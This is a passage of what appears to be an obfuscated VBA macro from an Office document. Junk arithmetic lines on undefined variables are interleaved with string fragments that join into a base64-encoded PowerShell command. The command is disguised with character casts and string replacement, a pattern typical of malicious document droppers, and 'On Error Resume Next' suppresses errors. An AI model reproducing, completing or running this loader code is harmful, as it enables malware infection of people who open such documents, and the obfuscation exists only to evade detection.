fSclOm = (CkcjRC * fnjXG - nOVJEO * Round(71320)) + (41700 - Rnd(pWsKK) + 69663 + dzCzFh)
NPzKSLYi = "MAKQAsAFsAU" + "wBUAHIAaQB" + "OAGcAXQBbAGMAa" + "ABhAFIAXQAzADYA" + "KQAuAHIARQBwAG" + "wAYQBDAE" + "UAKAAnAG"
mEzwS = (jvDCl * QzShA - TzvGo * Round(13470)) + (84144 - Rnd(tKkUIm) + 10985 + iEFPSR)
StqfXsH = "UAUABzACcA" + "LAAnAFwAJwApAC" + "4AcgBFA" + "HAAbABhA" + "EMARQAoACg" + "AWwBjAGgAYQBSA" + "F0AMQAxADMAK" + "wBbAGMAaABhAFIA"
tSpYJ = (pKSCv * iafQsG - KZLjuw * Round(91008)) + (46297 - Rnd(OckjB) + 60609 + owiiK)
BHGCZrBK = "XQA2ADYAKwBbA" + "GMAaABhAFIAXQA" + "xADAAMAA" + "pACwA" + "WwBTAFQAcgBpAE" + "4AZwBdAF" + "sAYwB" + "oAGEAUgBdADMAO" + "QApAC4AcgBFAH" + "AAbABhAEMA"
zRSMA = (RCnMI * Huijva - vawqR * Round(24686)) + (70267 - Rnd(ZrSJY) + 60498 + ZtQhw)
CLjUMiBBv = "RQAoACgAWw" + "BjAGg" + "AYQBSAF0ANAA" + "5ACsAWwBjA" + "GgAYQBSAF0" + "ANQA2ACsA"
GLaPb = (ukTEC * TOdDb - AQUsL * Round(40340)) + (5641 - Rnd(zAVoSO) + 53845 + pOVaqG)
sjbwkOupiwE = "WwBjAGgAYQBSAF" + "0AOAA0ACkALAB" + "bAFMA" + "VAByAGkATg" + "BnAF0AWwBjAGgAY" + "QBSAF0AMwA0AC"
SGmQBF = (cVRQh * CNAFMr - tOimn * Round(61705)) + (55812 - Rnd(OiBKt) + 50293 + lYEBi)
IsTXURtmQi = "kALgByAEU" + "AcABsAGEAQwBF" + "ACgAJwBtAHIAd" + "wAnAC" + "wAJwBg"
jkQjhbFmT = ujRwC + nukLoUM + RLCUpQmmw + NPzKSLYi + StqfXsH + BHGCZrBK + CLjUMiBBv + sjbwkOupiwE + IsTXURtmQi
End Function
Function LLOFrW()
On Error Resume Next
YAWCht = (bOPOww * DcAdVc - NmQGnH * Round(99898)) + (54436 - Rnd(BLMcVO) + 15024 + FmpwAS)
TwsRvU = "ACcAKQAgACkA"
LLOFrW = TwsRvU
End Function